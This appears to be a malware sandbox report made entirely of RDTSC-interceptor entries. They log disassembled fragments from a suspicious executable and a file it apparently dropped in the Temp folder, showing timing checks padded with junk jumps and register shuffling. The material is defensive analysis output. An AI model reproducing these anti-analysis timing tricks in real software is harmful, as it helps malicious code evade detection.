Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90B48 second address: 4A90B8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF67050A387h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jmp 00007FF67050A385h 0x00000011 leave 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF67050A37Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90B8B second address: 4A80080 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B921h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 xor ebx, ebx 0x00000012 cmp eax, 00000000h 0x00000015 je 00007FF670C3BAB8h 0x0000001b mov dword ptr [esp], 0000000Dh 0x00000022 call 00007FF6753209D1h 0x00000027 mov edi, edi 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FF670C3B924h 0x00000030 and esi, 743CC978h 0x00000036 jmp 00007FF670C3B91Bh 0x0000003b popfd 0x0000003c movzx esi, dx 0x0000003f popad 0x00000040 push edx 0x00000041 jmp 00007FF670C3B920h 0x00000046 mov dword ptr [esp], ebp 0x00000049 jmp 00007FF670C3B920h 0x0000004e mov ebp, esp 0x00000050 jmp 00007FF670C3B920h 0x00000055 sub esp, 2Ch 0x00000058 jmp 00007FF670C3B920h 0x0000005d xchg eax, ebx 0x0000005e pushad 0x0000005f movzx eax, dx 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80080 second address: 4A800C4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF67050A37Fh 0x00000008 add esi, 739780AEh 0x0000000e jmp 00007FF67050A389h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF67050A37Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A801AA second address: 4A801AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A801AE second address: 4A801B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A801B4 second address: 4A801BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A801BA second address: 4A801BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A8021B second address: 4A80220 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80220 second address: 4A80239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF67050A37Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A8027A second address: 4A80280 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80280 second address: 4A802FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A37Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FF6E16A8570h 0x0000000f pushad 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF67050A383h 0x00000017 add esi, 3CF7CC9Eh 0x0000001d jmp 00007FF67050A389h 0x00000022 popfd 0x00000023 jmp 00007FF67050A380h 0x00000028 popad 0x00000029 popad 0x0000002a js 00007FF67050A414h 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FF67050A387h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A802FF second address: 4A803A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF670C3B91Fh 0x00000009 or eax, 0995440Eh 0x0000000f jmp 00007FF670C3B929h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FF670C3B920h 0x0000001b adc cl, FFFFFF88h 0x0000001e jmp 00007FF670C3B91Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 cmp dword ptr [ebp-14h], edi 0x0000002a jmp 00007FF670C3B926h 0x0000002f jne 00007FF6E1DD9A43h 0x00000035 jmp 00007FF670C3B920h 0x0000003a mov ebx, dword ptr [ebp+08h] 0x0000003d pushad 0x0000003e mov bh, al 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FF670C3B929h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A803A5 second address: 4A80424 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF67050A380h 0x00000008 sbb si, F9A8h 0x0000000d jmp 00007FF67050A37Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp-2Ch] 0x00000019 jmp 00007FF67050A386h 0x0000001e xchg eax, esi 0x0000001f jmp 00007FF67050A380h 0x00000024 push eax 0x00000025 jmp 00007FF67050A37Bh 0x0000002a xchg eax, esi 0x0000002b jmp 00007FF67050A386h 0x00000030 nop 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov bx, CBB0h 0x00000038 pushad 0x00000039 popad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80424 second address: 4A8044F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B924h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF670C3B91Bh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A8044F second address: 4A80453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80453 second address: 4A80459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80459 second address: 4A8046E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A37Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A8046E second address: 4A80474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80474 second address: 4A80499 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF67050A37Eh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF67050A37Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80499 second address: 4A8049F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A8049F second address: 4A804A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A804E5 second address: 4A80535 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B922h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ebx, 1B51A1F0h 0x00000013 pushfd 0x00000014 jmp 00007FF670C3B929h 0x00000019 and ah, 00000076h 0x0000001c jmp 00007FF670C3B921h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80535 second address: 4A70DF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FF6E16A8481h 0x0000000f xor eax, eax 0x00000011 jmp 00007FF6704E3AAAh 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e sub esp, 04h 0x00000021 mov esi, eax 0x00000023 xor ebx, ebx 0x00000025 cmp esi, 00000000h 0x00000028 je 00007FF67050A4F3h 0x0000002e call 00007FF674BE0048h 0x00000033 mov edi, edi 0x00000035 pushad 0x00000036 push ecx 0x00000037 pushfd 0x00000038 jmp 00007FF67050A37Bh 0x0000003d add eax, 146A2AAEh 0x00000043 jmp 00007FF67050A389h 0x00000048 popfd 0x00000049 pop eax 0x0000004a mov al, bh 0x0000004c popad 0x0000004d xchg eax, ebp 0x0000004e pushad 0x0000004f mov cx, F1C5h 0x00000053 mov edi, ecx 0x00000055 popad 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FF67050A37Ah 0x0000005e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A70DF4 second address: 4A70E36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF670C3B921h 0x00000009 or ah, 00000046h 0x0000000c jmp 00007FF670C3B921h 0x00000011 popfd 0x00000012 mov di, cx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a movzx esi, bx 0x0000001d mov eax, edx 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov bx, cx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A70E36 second address: 4A70E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A70E3B second address: 4A70E9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF670C3B921h 0x00000009 add esi, 475CE706h 0x0000000f jmp 00007FF670C3B921h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e pushfd 0x0000001f jmp 00007FF670C3B925h 0x00000024 adc si, AF16h 0x00000029 jmp 00007FF670C3B921h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A70E9F second address: 4A70EBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A70EBD second address: 4A70ED0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B91Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A70ED0 second address: 4A70F26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF67050A37Fh 0x00000009 and ax, D5AEh 0x0000000e jmp 00007FF67050A389h 0x00000013 popfd 0x00000014 mov dh, al 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [ebp-04h], 55534552h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF67050A386h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80A00 second address: 4A80A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80A04 second address: 4A80A0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80A7E second address: 4A80A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80A83 second address: 4A80A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80A89 second address: 4A80A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80A8D second address: 4A80A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80A91 second address: 4A80B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d movsx edi, cx 0x00000010 mov cx, CA3Bh 0x00000014 popad 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FF670C3B927h 0x0000001e xor si, 041Eh 0x00000023 jmp 00007FF670C3B929h 0x00000028 popfd 0x00000029 call 00007FF670C3B920h 0x0000002e pushfd 0x0000002f jmp 00007FF670C3B922h 0x00000034 sub ecx, 7D492948h 0x0000003a jmp 00007FF670C3B91Bh 0x0000003f popfd 0x00000040 pop ecx 0x00000041 popad 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FF670C3B925h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80B32 second address: 4A80B42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF67050A37Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80B42 second address: 4A80B95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a movsx edi, cx 0x0000000d pushad 0x0000000e mov eax, 58B717ABh 0x00000013 jmp 00007FF670C3B920h 0x00000018 popad 0x00000019 popad 0x0000001a call 00007FF6E1DD0921h 0x0000001f push 75C12B70h 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov eax, dword ptr [esp+10h] 0x0000002f mov dword ptr [esp+10h], ebp 0x00000033 lea ebp, dword ptr [esp+10h] 0x00000037 sub esp, eax 0x00000039 push ebx 0x0000003a push esi 0x0000003b push edi 0x0000003c mov eax, dword ptr [75C74538h] 0x00000041 xor dword ptr [ebp-04h], eax 0x00000044 xor eax, ebp 0x00000046 push eax 0x00000047 mov dword ptr [ebp-18h], esp 0x0000004a push dword ptr [ebp-08h] 0x0000004d mov eax, dword ptr [ebp-04h] 0x00000050 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000057 mov dword ptr [ebp-08h], eax 0x0000005a lea eax, dword ptr [ebp-10h] 0x0000005d mov dword ptr fs:[00000000h], eax 0x00000063 ret 0x00000064 jmp 00007FF670C3B920h 0x00000069 sub esi, esi 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007FF670C3B923h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80B95 second address: 4A80BB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80BB2 second address: 4A80BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80BB8 second address: 4A80BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80BBC second address: 4A80BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-1Ch], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80BCD second address: 4A80BD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80BD1 second address: 4A80BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80C3C second address: 4A80C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A80C40 second address: 4A80C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90BDE second address: 4A90C31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A37Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF67050A37Eh 0x0000000f push eax 0x00000010 jmp 00007FF67050A37Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FF67050A386h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF67050A37Ah 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90C31 second address: 4A90C35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90C35 second address: 4A90C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90C3B second address: 4A90C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF670C3B91Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90C4C second address: 4A90CF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov esi, 123E817Fh 0x0000000f pushfd 0x00000010 jmp 00007FF67050A384h 0x00000015 or esi, 4F489168h 0x0000001b jmp 00007FF67050A37Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [esp], esi 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FF67050A384h 0x0000002c adc cl, FFFFFFC8h 0x0000002f jmp 00007FF67050A37Bh 0x00000034 popfd 0x00000035 call 00007FF67050A388h 0x0000003a jmp 00007FF67050A382h 0x0000003f pop ecx 0x00000040 popad 0x00000041 mov esi, dword ptr [ebp+0Ch] 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FF67050A383h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90CF1 second address: 4A90CF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90CF7 second address: 4A90D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF67050A37Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90D06 second address: 4A90D2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90D2D second address: 4A90D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90D31 second address: 4A90D44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B91Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90D44 second address: 4A90D70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FF6E16879CCh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ecx, edx 0x00000014 movsx edx, si 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90D70 second address: 4A90D9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B921h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75C7459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF670C3B91Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90D9B second address: 4A90DA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90DA1 second address: 4A90DA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90E20 second address: 4A90E45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bh 0x00000005 movzx eax, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF67050A37Ah 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF67050A37Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90E45 second address: 4A90E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90E49 second address: 4A90E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90E75 second address: 4A90E7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90E7A second address: 4A90E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop edx 0x0000000f mov dx, si 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90E8D second address: 4A90E93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90E93 second address: 4A90E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90E97 second address: 4A90E9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90E9B second address: 4A90EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF67050A386h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 4A90EBC second address: 4A90ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF670C3B91Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DAA051 second address: DAA077 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FF67050A376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FF67050A37Bh 0x00000015 jnl 00007FF67050A376h 0x0000001b push edx 0x0000001c pop edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: D940B5 second address: D940B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
